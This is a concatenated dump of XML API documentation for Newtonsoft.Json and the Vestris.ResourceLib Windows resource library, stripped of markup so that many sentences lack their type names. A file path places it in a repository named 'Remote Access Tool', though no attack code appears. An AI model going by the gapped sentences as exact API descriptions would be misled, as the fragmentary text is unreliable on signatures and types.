compare with the current . true if the specified is equal to the current ; otherwise, false. Serves as a hash function for a particular type. A hash code for the current . Returns a that represents this instance. ToString() returns a non-JSON string value for tokens with a type of . If you want the JSON for all token types then you should use . A that represents this instance. Returns a that represents this instance. The format. A that represents this instance. Returns a that represents this instance. The format provider. A that represents this instance. Returns a that represents this instance. The format. The format provider. A that represents this instance. Returns the responsible for binding operations performed on this object. The expression tree representation of the runtime value. The to bind this object. Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. An object to compare with this instance. A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has these meanings: Value Meaning Less than zero This instance is less than . Zero This instance is equal to . Greater than zero This instance is greater than . is not of the same type as this instance. Specifies how line information is handled when loading JSON. Ignore line information. Load line information. Specifies how JSON arrays are merged together. Concatenate arrays. Union arrays, skipping items that already exist. Replace all array items. Merge array items together, matched by index. Specifies how null value properties are merged. The content's null value properties will be ignored during merging. The content's null value properties will be merged. Specifies the member serialization options for the . All public members are serialized by default. Members can be excluded using or . This is the default member serialization mode. Only members marked with or are serialized. This member serialization mode can also be set by marking the class with . All public and private fields are serialized. Members can be excluded using or . This member serialization mode can also be set by marking the class with and setting IgnoreSerializableAttribute on to false. Specifies metadata property handling options for the . Read metadata properties located at the start of a JSON object. Read metadata properties located anywhere in a JSON object. Note that this setting will impact performance. Do not try to read metadata properties. Specifies missing member handling options for the . Ignore a missing member and do not attempt to deserialize it. Throw a when a missing member is encountered during deserialization. Specifies null value handling options for the . Include null values when serializing and deserializing objects. Ignore null values when serializing and deserializing objects. Specifies how object creation is handled by the . Reuse existing objects, create new objects when needed. Only reuse existing objects. Always create new objects. Specifies reference handling options for the . Note that references cannot be preserved when a value is set via a non-default constructor such as types that implement . Do not preserve references when serializing types. Preserve references when serializing into a JSON object structure. Preserve references when serializing into a JSON array structure. Preserve references when serializing. Specifies reference loop handling options for the . Throw a when a loop is encountered. Ignore loop references and do not serialize. Serialize loop references. Indicating whether a property is required. The property is not required. The default state. The property must be defined in JSON but can be a null value. The property must be defined in JSON and cannot be a null value. The property is not required but it cannot be a null value. Contains the JSON schema extension methods. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Determines whether the is valid. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. The source to test. The schema to test with. true if the specified is valid; otherwise, false. Determines whether the is valid. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. The source to test. The schema to test with. When this method returns, contains any error messages generated while validating. true if the specified is valid; otherwise, false. Validates the specified . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. The source to test. The schema to test with. Validates the specified . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. The source to test. The schema to test with. The validation event handler. An in-memory representation of a JSON Schema. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Gets or sets the id. Gets or sets the title. Gets or sets whether the object is required. Gets or sets whether the object is read-only. Gets or sets whether the object is visible to users. Gets or sets whether the object is transient. Gets or sets the description of the object. Gets or sets the types of values allowed by the object. The type. Gets or sets the pattern. The pattern. Gets or sets the minimum length. The minimum length. Gets or sets the maximum length. The maximum length. Gets or sets a number that the value should be divisible by. A number that the value should be divisible by. Gets or sets the minimum. The minimum. Gets or sets the maximum. The maximum. Gets or sets a flag indicating whether the value can not equal the number defined by the minimum attribute (). A flag indicating whether the value can not equal the number defined by the minimum attribute (). Gets or sets a flag indicating whether the value can not equal the number defined by the maximum attribute (). A flag indicating whether the value can not equal the number defined by the maximum attribute (). Gets or sets the minimum number of items. The minimum number of items. Gets or sets the maximum number of items. The maximum number of items. Gets or sets the of items. The of items. Gets or sets a value indicating whether items in an array are validated using the instance at their array position from . true if items are validated using their array position; otherwise, false. Gets or sets the of additional items. The of additional items. Gets or sets a value indicating whether additional items are allowed. true if additional items are allowed; otherwise, false. Gets or sets whether the array items must be unique. Gets or sets the of properties. The of properties. Gets or sets the of additional properties. The of additional properties. Gets or sets the pattern properties. The pattern properties. Gets or sets a value indicating whether additional properties are allowed. true if additional properties are allowed; otherwise, false. Gets or sets the required property if this property is present. The required property if this property is present. Gets or sets the a collection of valid enum values allowed. A collection of valid enum values allowed. Gets or sets disallowed types. The disallowed types. Gets or sets the default value. The default value. Gets or sets the collection of that this schema extends. The collection of that this schema extends. Gets or sets the format. The format. Initializes a new instance of the class. Reads a from the specified . The containing the JSON Schema to read. The object representing the JSON Schema. Reads a from the specified . The containing the JSON Schema to read. The to use when resolving schema references. The object representing the JSON Schema. Load a from a string that contains JSON Schema. A that contains JSON Schema. A populated from the string that contains JSON Schema. Load a from a string that contains JSON Schema using the specified . A that contains JSON Schema. The resolver. A populated from the string that contains JSON Schema. Writes this schema to a . A into which this method will write. Writes this schema to a using the specified . A into which this method will write. The resolver used. Returns a that represents the current . A that represents the current . Returns detailed information about the schema exception. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Gets the line number indicating where the error occurred. The line number indicating where the error occurred. Gets the line position indicating where the error occurred. The line position indicating where the error occurred. Gets the path to the JSON where the error occurred. The path to the JSON where the error occurred. Initializes a new instance of the class. Initializes a new instance of the class with a specified error message. The error message that explains the reason for the exception. Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. The error message that explains the reason for the exception. The exception that is the cause of the current exception, or null if no inner exception is specified. Initializes a new instance of the class. The that holds the serialized object data about the exception being thrown. The that contains contextual information about the source or destination. The parameter is null. The class name is null or is zero (0). Generates a from a specified . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Gets or sets how undefined schemas are handled by the serializer. Gets or sets the contract resolver. The contract resolver. Generate a from the specified type. The type to generate a from. A generated from the specified type. Generate a from the specified type. The type to generate a from. The used to resolve schema references. A generated from the specified type. Generate a from the specified type. The type to generate a from. Specify whether the generated root will be nullable. A generated from the specified type. Generate a from the specified type. The type to generate a from. The used to resolve schema references. Specify whether the generated root will be nullable. A generated from the specified type. Resolves from an id. JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Gets or sets the loaded schemas. The loaded schemas. Initializes a new instance of the class. Gets a for the specified reference. The id. A for the specified reference. The value types allowed by the . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. No type specified. String type. Float type. Integer type. Boolean type. Object type. Array type. Null type. Any type. Specifies undefined schema Id handling options for the . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Do not infer a schema Id. Use the .NET type name as the schema Id. Use the assembly qualified .NET type name as the schema Id. Returns detailed information related to the . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. Gets the associated with the validation error. The JsonSchemaException associated with the validation error. Gets the path of the JSON location where the validation error occurred. The path of the JSON location where the validation error occurred. Gets the text description corresponding to the validation error. The text description. Represents the callback method that will handle JSON schema validation events and the . JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. A camel case naming strategy. Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . A flag indicating whether extension data names should be processed. Initializes a new instance of the class. Resolves the specified property name. The property name to resolve. The resolved property name. Resolves member mappings for a type, camel casing property names. Initializes a new instance of the class. Resolves the contract for a given type. The type to resolve a contract for. The contract for a given type. Used by to resolve a for a given . Gets a value indicating whether members are being get and set using dynamic code generation. This value is determined by the runtime permissions available. true if using dynamic code generation; otherwise, false. Gets or sets the default members search flags. The default members search flags. Gets or sets a value indicating whether compiler generated members should be serialized. true if serialized compiler generated members; otherwise, false. Gets or sets a value indicating whether to ignore the interface when serializing and deserializing types. true if the interface will be ignored when serializing and deserializing types; otherwise, false. Gets or sets a value indicating whether to ignore the attribute when serializing and deserializing types. true if the attribute will be ignored when serializing and deserializing types; otherwise, false. Gets or sets a value indicating whether to ignore IsSpecified members when serializing and deserializing types. true if the IsSpecified members will be ignored when serializing and deserializing types; otherwise, false. Gets or sets a value indicating whether to ignore ShouldSerialize members when serializing and deserializing types. true if the ShouldSerialize members will be ignored when serializing and deserializing types; otherwise, false. Gets or sets the naming strategy used to resolve how property names and dictionary keys are serialized. The naming strategy used to resolve how property names and dictionary keys are serialized. Initializes a new instance of the class. Resolves the contract for a given type. The type to resolve a contract for. The contract for a given type. Gets the serializable members for the type. The type to get serializable members for. The serializable members for the type. Creates a for the given type. Type of the object. A for the given type. Creates the constructor parameters. The constructor to create properties for. The type's member properties. Properties for the given . Creates a for the given . The matching member property. The constructor parameter. A created for the given . Resolves the default for the contract. Type of the object. The contract's default . Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Creates a for the given type. Type of the object. A for the given type. Determines which contract type is created for the given type. Type of the object. A for the given type. Creates properties for the given . The type to create properties for. /// The member serialization mode for the type. Properties for the given . Creates the used by the serializer to get and set values from a member. The member. The used by the serializer to get and set values from a member. Creates a for the given . The member's parent . The member to create a for. A created for the given . Resolves the name of the property. Name of the property. Resolved name of the property. Resolves the name of the extension data. By default no changes are made to extension data names. Name of the extension data. Resolved name of the extension data. Resolves the key of the dictionary. By default is used to resolve dictionary keys. Key of the dictionary. Resolved key of the dictionary. Gets the resolved name of the property. Name of the property. Name of the property. The default naming strategy. Property names and dictionary keys are unchanged. Resolves the specified property name. The property name to resolve. The resolved property name. The default serialization binder used when resolving and loading classes from type names. Initializes a new instance of the class. When overridden in a derived class, controls the binding of a serialized object to a type. Specifies the name of the serialized object. Specifies the name of the serialized object. The type of the object the formatter creates a new instance of. When overridden in a derived class, controls the binding of a serialized object to a type. The type of the object the formatter creates a new instance of. Specifies the name of the serialized object. Specifies the name of the serialized object. Represents a trace writer that writes to the application's instances. Gets the that will be used to filter the trace messages passed to the writer. For example a filter level of will exclude messages and include , and messages. The that will be used to filter the trace messages passed to the writer. Writes the specified trace level, message and optional exception. The at which to write this trace. The trace message. The trace exception. This parameter is optional. Provides information surrounding an error. Gets the error. The error. Gets the original object that caused the error. The original object that caused the error. Gets the member that caused the error. The member that caused the error. Gets the path of the JSON location where the error occurred. The path of the JSON location where the error occurred. Gets or sets a value indicating whether this is handled. true if handled; otherwise, false. Provides data for the Error event. Gets the current object the error event is being raised against. The current object the error event is being raised against. Gets the error context. The error context. Initializes a new instance of the class. The current object. The error context. Get and set values for a using dynamic methods. Initializes a new instance of the class. The member info. Sets the value. The target to set the value on. The value to set on the target. Gets the value. The target to get the value from. The value. Provides methods to get attributes. Returns a collection of all of the attributes, or an empty collection if there are no attributes. When true, look up the hierarchy chain for the inherited custom attribute. A collection of s, or an empty collection. Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. The type of the attributes. When true, look up the hierarchy chain for the inherited custom attribute. A collection of s, or an empty collection. Used by to resolve a for a given . Resolves the contract for a given type. The type to resolve a contract for. The contract for a given type. Used to resolve references when serializing and deserializing JSON by the . Resolves a reference to its object. The serialization context. The reference to resolve. The object that was resolved from the reference. Gets the reference for the specified object. The serialization context. The object to get a reference for. The reference to the object. Determines whether the specified object is referenced. The serialization context. The object to test for a reference. true if the specified object is referenced; otherwise, false. Adds a reference to the specified object. The serialization context. The reference. The object to reference. Allows users to control class loading and mandate what class to load. When implemented, controls the binding of a serialized object to a type. Specifies the name of the serialized object. Specifies the name of the serialized object The type of the object the formatter creates a new instance of. When implemented, controls the binding of a serialized object to a type. The type of the object the formatter creates a new instance of. Specifies the name of the serialized object. Specifies the name of the serialized object. Represents a trace writer. Gets the that will be used to filter the trace messages passed to the writer. For example a filter level of will exclude messages and include , and messages. The that will be used to filter the trace messages passed to the writer. Writes the specified trace level, message and optional exception. The at which to write this trace. The trace message. The trace exception. This parameter is optional. Provides methods to get and set values. Sets the value. The target to set the value on. The value to set on the target. Gets the value. The target to get the value from. The value. Contract details for a used by the . Gets the of the collection items. The of the collection items. Gets a value indicating whether the collection type is a multidimensional array. true if the collection type is a multidimensional array; otherwise, false. Gets or sets the function used to create the object. When set this function will override . The function used to create the object. Gets a value indicating whether the creator has a parameter with the collection values. true if the creator has a parameter with the collection values; otherwise, false. Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Gets or sets the default collection items . The converter. Gets or sets a value indicating whether the collection items preserve object references. true if collection items preserve object references; otherwise, false. Gets or sets the collection item reference loop handling. The reference loop handling. Gets or sets the collection item type name handling. The type name handling. Initializes a new instance of the class. The underlying type for the contract. Handles serialization callback events. The object that raised the callback event. The streaming context. Handles serialization error callback events. The object that raised the callback event. The streaming context. The error context. Sets extension data for an object during deserialization. The object to set extension data on. The extension data key. The extension data value. Gets extension data for an object during serialization. The object to set extension data on. Contract details for a used by the . Gets the underlying type for the contract. The underlying type for the contract. Gets or sets the type created during deserialization. The type created during deserialization. Gets or sets whether this type contract is serialized as a reference. Whether this type contract is serialized as a reference. Gets or sets the default for this contract. The converter. Gets the internally resolved for the contract's type. This converter is used as a fallback converter when no other converter is resolved. Setting will always override this converter. Gets or sets all methods called immediately after deserialization of the object. The methods called immediately after deserialization of the object. Gets or sets all methods called during deserialization of the object. The methods called during deserialization of the object. Gets or sets all methods called after serialization of the object graph. The methods called after serialization of the object graph. Gets or sets all methods called before serialization of the object. The methods called before serialization of the object. Gets or sets all method called when an error is thrown during the serialization of the object. The methods called when an error is thrown during the serialization of the object. Gets or sets the default creator method used to create the object. The default creator method used to create the object. Gets or sets a value indicating whether the default creator is non-public. true if the default object creator is non-public; otherwise, false. Contract details for a used by the . Gets or sets the dictionary key resolver. The dictionary key resolver. Gets the of the dictionary keys. The of the dictionary keys. Gets the of the dictionary values. The of the dictionary values. Gets or sets the function used to create the object. When set this function will override . The function used to create the object. Gets a value indicating whether the creator has a parameter with the dictionary values. true if the creator has a parameter with the dictionary values; otherwise, false. Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Gets the object's properties. The object's properties. Gets or sets the property name resolver. The property name resolver. Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Gets or sets the object constructor. The object constructor. Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Gets or sets the object member serialization. The member object serialization. Gets or sets the missing member handling used when deserializing this object. The missing member handling. Gets or sets a value that indicates whether the object's properties are required. A value indicating whether the object's properties are required. Gets or sets how the object's properties with null values are handled during serialization and deserialization. How the object's properties with null values are handled during serialization and deserialization. Gets the object's properties. The object's properties. Gets a collection of instances that define the parameters used with . Gets or sets the function used to create the object. When set this function will override . This function is called with a collection of arguments which are defined by the collection. The function used to create the object. Gets or sets the extension data setter. Gets or sets the extension data getter. Gets or sets the extension data value type. Gets or sets the extension data name resolver. The extension data name resolver. Initializes a new instance of the class. The underlying type for the contract. Contract details for a used by the . Initializes a new instance of the class. The underlying type for the contract. Maps a JSON property to a .NET member or constructor parameter. Gets or sets the name of the property. The name of the property. Gets or sets the type that declared this property. The type that declared this property. Gets or sets the order of serialization of a member. The numeric order of serialization. Gets or sets the name of the underlying member or parameter. The name of the underlying member or parameter. Gets the that will get and set the during serialization. The that will get and set the during serialization. Gets or sets the for this property. The for this property. Gets or sets the type of the property. The type of the property. Gets or sets the for the property. If set this converter takes precedence over the contract converter for the property type. The converter. Gets or sets the member converter. The member converter. Gets or sets a value indicating whether this is ignored. true if ignored; otherwise, false. Gets or sets a value indicating whether this is readable. true if readable; otherwise, false. Gets or sets a value indicating whether this is writable. true if writable; otherwise, false. Gets or sets a value indicating whether this has a member attribute. true if has a member attribute; otherwise, false. Gets the default value. The default value. Gets or sets a value indicating whether this is required. A value indicating whether this is required. Gets a value indicating whether has a value specified. Gets or sets a value indicating whether this property preserves object references. true if this instance is reference; otherwise, false. Gets or sets the property null value handling. The null value handling. Gets or sets the property default value handling. The default value handling. Gets or sets the property reference loop handling. The reference loop handling. Gets or sets the property object creation handling. The object creation handling. Gets or sets or sets the type name handling. The type name handling. Gets or sets a predicate used to determine whether the property should be serialized. A predicate used to determine whether the property should be serialized. Gets or sets a predicate used to determine whether the property should be deserialized. A predicate used to determine whether the property should be deserialized. Gets or sets a predicate used to determine whether the property should be serialized. A predicate used to determine whether the property should be serialized. Gets or sets an action used to set whether the property has been deserialized. An action used to set whether the property has been deserialized. Returns a that represents this instance. A that represents this instance. Gets or sets the converter used when serializing the property's collection items. The collection's items converter. Gets or sets whether this property's collection items are serialized as a reference. Whether this property's collection items are serialized as a reference. Gets or sets the type name handling used when serializing the property's collection items. The collection's items type name handling. Gets or sets the reference loop handling used when serializing the property's collection items. The collection's items reference loop handling. A collection of objects. Initializes a new instance of the class. The type. When implemented in a derived class, extracts the key from the specified element. The element from which to extract the key. The key for the specified element. Adds a object. The property to add to the collection. Gets the closest matching object. First attempts to get an exact case match of and then a case insensitive match. Name of the property. A matching property if found. Gets a property by property name. The name of the property to get. Type property name string comparison. A matching property if found. Contract details for a used by the . Initializes a new instance of the class. The underlying type for the contract. Lookup and create an instance of the type described by the argument. The type to create. Optional arguments to pass to an initializing constructor of the JsonConverter. If null, the default constructor is used. A kebab case naming strategy. Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . A flag indicating whether extension data names should be processed. Initializes a new instance of the class. Resolves the specified property name. The property name to resolve. The resolved property name. Represents a trace writer that writes to memory. When the trace message limit is reached then old trace messages will be removed as new messages are added. Gets the that will be used to filter the trace messages passed to the writer. For example a filter level of will exclude messages and include , and messages. The that will be used to filter the trace messages passed to the writer. Initializes a new instance of the class. Writes the specified trace level, message and optional exception. The at which to write this trace. The trace message. The trace exception. This parameter is optional. Returns an enumeration of the most recent trace messages. An enumeration of the most recent trace messages. Returns a of the most recent trace messages. A of the most recent trace messages. A base class for resolving how property names and dictionary keys are serialized. A flag indicating whether dictionary keys should be processed. Defaults to false. A flag indicating whether extension data names should be processed. Defaults to false. A flag indicating whether explicitly specified property names, e.g. a property name customized with a , should be processed. Defaults to false. Gets the serialized name for a given property name. The initial property name. A flag indicating whether the property has had a name explicitly specified. The serialized property name. Gets the serialized name for a given extension data name. The initial extension data name. The serialized extension data name. Gets the serialized key for a given dictionary key. The initial dictionary key. The serialized dictionary key. Resolves the specified property name. The property name to resolve. The resolved property name. Hash code calculation Object equality implementation Compare to another NamingStrategy Represents a method that constructs an object. The object type to create. When applied to a method, specifies that the method is called when an error occurs serializing an object. Provides methods to get attributes from a , , or . Initializes a new instance of the class. The instance to get attributes for. This parameter should be a , , or . Returns a collection of all of the attributes, or an empty collection if there are no attributes. When true, look up the hierarchy chain for the inherited custom attribute. A collection of s, or an empty collection. Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. The type of the attributes. When true, look up the hierarchy chain for the inherited custom attribute. A collection of s, or an empty collection. Get and set values for a using reflection. Initializes a new instance of the class. The member info. Sets the value. The target to set the value on. The value to set on the target. Gets the value. The target to get the value from. The value. A snake case naming strategy. Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . Initializes a new instance of the class. A flag indicating whether dictionary keys should be processed. A flag indicating whether explicitly specified property names should be processed, e.g. a property name customized with a . A flag indicating whether extension data names should be processed. Initializes a new instance of the class. Resolves the specified property name. The property name to resolve. The resolved property name. Specifies how strings are escaped when writing JSON text. Only control characters (e.g. newline) are escaped. All non-ASCII and control characters (e.g. newline) are escaped. HTML (<, >, &, ', ") and control characters (e.g. newline) are escaped. Indicates the method that will be used during deserialization for locating and loading assemblies. In simple mode, the assembly used during deserialization need not match exactly the assembly used during serialization. Specifically, the version numbers need not match as the LoadWithPartialName method of the class is used to load the assembly. In full mode, the assembly used during deserialization must match exactly the assembly used during serialization. The Load method of the class is used to load the assembly. Specifies type name handling options for the . should be used with caution when your application deserializes JSON from an external source. Incoming types should be validated with a custom when deserializing with a value other than . Do not include the .NET type name when serializing types. Include the .NET type name when serializing into a JSON object structure. Include the .NET type name when serializing into a JSON array structure. Always include the .NET type name when serializing. Include the .NET type name when the type of the object being serialized is not the same as its declared type. Note that this doesn't include the root serialized object by default. To include the root object's type name in JSON you must specify a root type object with or . Determines whether the collection is null or empty. The collection. true if the collection is null or empty; otherwise, false. Adds the elements of the specified collection to the specified generic . The list to add to. The collection of elements to add. Converts the value to the specified type. If the value is unable to be converted, the value is checked whether it assignable to the specified type. The value to convert. The culture to use when converting. The type to convert or cast the value to. The converted type. If conversion was unsuccessful, the initial value is returned if assignable to the target type. Helper method for generating a MetaObject which calls a specific method on Dynamic that returns a result Helper method for generating a MetaObject which calls a specific method on Dynamic, but uses one of the arguments for the result. Helper method for generating a MetaObject which calls a specific method on Dynamic, but uses one of the arguments for the result. Returns a Restrictions object which includes our current restrictions merged with a restriction limiting our type Helper class for serializing immutable collections. Note that this is used by all builds, even those that don't support immutable collections, in case the DLL is GACed https://github.com/JamesNK/Newtonsoft.Json/issues/652 Gets the type of the typed collection's items. The type. The type of the typed collection's items. Gets the member's underlying type. The member. The underlying type of the member. Determines whether the property is an indexed property. The property. true if the property is an indexed property; otherwise, false. Gets the member's value on the object. The member. The target object. The member's value on the object. Sets the member's value on the target object. The member. The target. The value. Determines whether the specified MemberInfo can be read. The MemberInfo to determine whether can be read. /// if set to true then allow the member to be gotten non-publicly. true if the specified MemberInfo can be read; otherwise, false. Determines whether the specified MemberInfo can be set. The MemberInfo to determine whether can be set. if set to true then allow the member to be set non-publicly. if set to true then allow the member to be set if read-only. true if the specified MemberInfo can be set; otherwise, false. Builds a string. Unlike this class lets you reuse its internal buffer. Determines whether the string is all white space. Empty string will return false. The string to test whether it is all white space. true if the string is all white space; otherwise, false. Specifies the state of the . An exception has been thrown, which has left the in an invalid state. You may call the method to put the in the Closed state. Any other method calls result in an being thrown. The method has been called. An object is being written. An array is being written. A constructor is being written. A property is being written. A write method has not been called. Specifies that an output will not be null even if the corresponding type allows it. Specifies that when a method returns , the parameter will not be null even if the corresponding type allows it. Initializes the attribute with the specified return value condition. The return value condition. If the method returns this value, the associated parameter will not be null. Gets the return value condition. Specifies that an output may be null even if the corresponding type disallows it. Specifies that null is allowed as an input even if the corresponding type disallows it. Specifies that the method will not return if the associated Boolean parameter is passed the specified value. Initializes a new instance of the class. The condition parameter value. Code after the method will be considered unreachable by diagnostics if the argument to the associated parameter matches this value. Gets the condition parameter value. ================================================ FILE: Remote Access Tool/packages/Vestris.ResourceLib.2.1.0/lib/net20/Vestris.ResourceLib.xml ================================================ Vestris.ResourceLib Standard accelerator. Read the accelerator. Address in memory. Write accelerator to a binary stream. Binary stream. String representation of the accelerator key. An unsigned integer value that identifies the accelerator. String representation of the accelerator. String representation of the accelerator. An accelerator, RT_ACCELERATOR resource. An accelerator provides the user with access to an application's command set. Accelerator keys. A new accelerator resource. An existing accelerator resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. Read the accelerators table. Handle to a module. Pointer to the beginning of the accelerator table. Address of the end of the accelerator table. String representation of the accelerators resource. Creates an 8 bit aligned copy of the buffer if it is not already aligned A bitmap file in a .bmp format. Device independent bitmap. An existing bitmap file. A file in a .bmp format. An embedded bitmap resource. An existing bitmap resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new bitmap resource. Read the resource. Module handle. Pointer to the beginning of a resource. Pointer to the end of the resource. Write the bitmap resource to a binary stream. Binary stream. A device independent bitmap. This structure depicts the organization of data in a hardware-independent cursor resource. A hardware-independent cursor resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new hardware-independent cursor resource. A new collection of cursors that can be embedded into an executable file. This structure depicts the organization of data in a cursor resource. An existing cursor resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new cursor resource. Convert into an icon resource that can be written into an executable. Icon image. Icon Id. Language. An icon resource. Horizontal hotspot coordinate. The hot spot of a cursor is the point to which Windows refers in tracking the cursor's position. Vertical hot spot coordinate. The hot spot of a cursor is the point to which Windows refers in tracking the cursor's position. Write the cursor data to a file. Target executable file. Read DIB image. DIB bits. DIB size. A device-independent image consists of a BITMAPINFOHEADER where bmWidth is the width of the image andbmHeight is double the height of the image, followed by the bitmap color table, followed by the image pixels, followed by the mask pixels. Raw image data. Bitmap info header. Bitmap size in bytes. A new icon image. A device-independent bitmap. Bitmap data. Create a copy of an image. Source image. Read icon data. Pointer to the beginning of icon data. Icon data size. Size of the image mask. Position of the DIB bitmap bits within a DIB bitmap array. Number of colors in the palette. Returns the width of a row in a DIB Bitmap given the number of bits. DIB Bitmap rows always align on a DWORD boundary. Number of bits. Width of a row in bytes. Bitmap monochrome mask. Bitmap color (XOR) part of the image. Complete image. A container for the DIALOGTEMPLATEEX structure. Indicates the character set to use. X-coordinate, in dialog box units, of the upper-left corner of the dialog box. Y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Width, in dialog box units, of the dialog box. Height, in dialog box units, of the dialog box. Dialog style. Extended dialog style. Weight of the font. Indicates whether the font is italic. Number of dialog items. An extended dialog structure. Read the dialog resource. Pointer to the beginning of the dialog structure. Write dialog control to a binary stream. Binary stream. String representation of the dialog. String in the DIALOGEX [dialog] format. A container for the DIALOGTEMPLATEEX structure. X-coordinate, in dialog box units, of the upper-left corner of the dialog box. Y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Width, in dialog box units, of the dialog box. Height, in dialog box units, of the dialog box. Dialog style. Extended dialog style. Control identifier. An extended dialog control template structure. Read the dialog control. Pointer to the beginning of the dialog structure. Write the dialog control to a binary stream. Binary stream. Return a string representation of the dialog control. A single line in the "CLASS name id, dimensions and styles' format. A dialog template resource. A dialog template structure that describes the dialog. A structured dialog resource embedded in an executable module. Module handle. Resource handle. Type of resource. Resource name. Language id. Resource size. A structured dialog resource embedded in an executable module. Dialog resource in standard resource editor text format. Multi-line string. A container for the DIALOGTEMPLATE structure. X-coordinate, in dialog box units, of the upper-left corner of the dialog box. Y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Width, in dialog box units, of the dialog box. Height, in dialog box units, of the dialog box. Dialog style. Extended dialog style. Number of dialog items. A standard dialog structure. Read the dialog resource. Pointer to the beginning of the dialog structure. Write the dialog template data to a binary stream. Binary stream. Returns a string representation of the dialog. String in the DIALOG ... format. A dialog template. X-coordinate, in dialog box units, of the upper-left corner of the dialog box. Y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Width, in dialog box units, of the dialog box. Height, in dialog box units, of the dialog box. Style of the dialog box. Optional extended style of the dialog box. Number of items in this structure. The name of the typeface for the font. Point size of the font to use for the text in the dialog box and its controls. Dialog caption. Menu resource Id. Window class Id. Controls within this dialog. Dialog template representation in a standard text format. Multiline string. String represetnation of a control. Write the resource to a binary stream. Binary stream. A container for a control within a dialog template. X-coordinate, in dialog box units, of the upper-left corner of the dialog box. Y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Width, in dialog box units, of the dialog box. Height, in dialog box units, of the dialog box. Dialog style. Extended dialog style. Control identifier. A standard dialog control structure. Write the dialog control to a binary stream. Binary stream. String represetnation of a control. A dialog template. X-coordinate, in dialog box units, of the upper-left corner of the dialog box. Y-coordinate, in dialog box units, of the upper-left corner of the dialog box. Width, in dialog box units, of the dialog box. Height, in dialog box units, of the dialog box. Style of the dialog box. Optional extended style of the dialog box. Dialog caption. Window class Id. Window class of the control. Additional creation data. Write the dialog control to a binary stream. Binary stream. Dialog template utility functions. Read a dialog resource id. Address in memory. Resource read. String representation of the dialog or control style of two types. Dialog or control style. String in the "s1 | s2 | ... | s3" format. String representation of the dialog or control styles of two types. Dialog or control style. Dialog or control extended style. String in the "s1 | s2 | ... | s3" format. String representation of the dialog or control style of one type. Dialog or control style. String in the "s1 | s2 | ... | s3" format. This structure depicts the organization of data in a hardware-independent icon resource. Returns the type of the resource in this group. Icons contained in this hardware-independent icon resource. A hardware-independent icon resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. A new hardware-independent icon resource. Save a hardware-independent icon resource to an executable file. Name of an executable file (.exe or .dll). Read a hardware-independent icon resource from a loaded module. Loaded executable module. Pointer to the beginning of a hardware-independent icon resource. Pointer to the end of the hardware-independent icon resource. Write a hardware-independent icon resource to a binary stream. Binary stream. Fixed file information. Default Windows fixed file information. Fixed file info structure. Read the fixed file information structure. Address in memory. String representation of the file version. String representation of the protect version. Gets or sets a bitmask that specifies the Boolean attributes of the file. Write fixed file information to a binary stream. Binary stream. Size of the VS_FIXEDFILEINFO structure. String representation of the fixed file info. String representation of the fixed file info. A font directory entry. Font ordinal. Typeface name of the font. Specifies the name of the device if this font file is designated for a specific device. Font information. A new font directory entry. Read the font directory entry. Pointer in memory. Pointer to the end of the font directory entry. Write the font directory entry to a binary stream. Binary stream. A font directory, RT_FONTDIR resource. Number of fonts in this directory. A new font resource. An existing font resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. Read the font resource. Handle to a module. Pointer to the beginning of the font structure. Address of the end of the font structure. Write the font directory to a binary stream. Binary stream. A font, RT_FONT resource. A new font resource. An existing font resource. Module handle. Resource ID. Resource type. Resource name. Language ID. Resource size. Read the font resource. Handle to a module. Pointer to the beginning of the font structure. Address of the end of the font structure. Write the font resource to a binary writer. Binary writer. Gdi32.dll interop functions. Bitmap compression options. An uncompressed format. A run-length encoded (RLE) format for bitmaps with 8 bpp. The compression format is 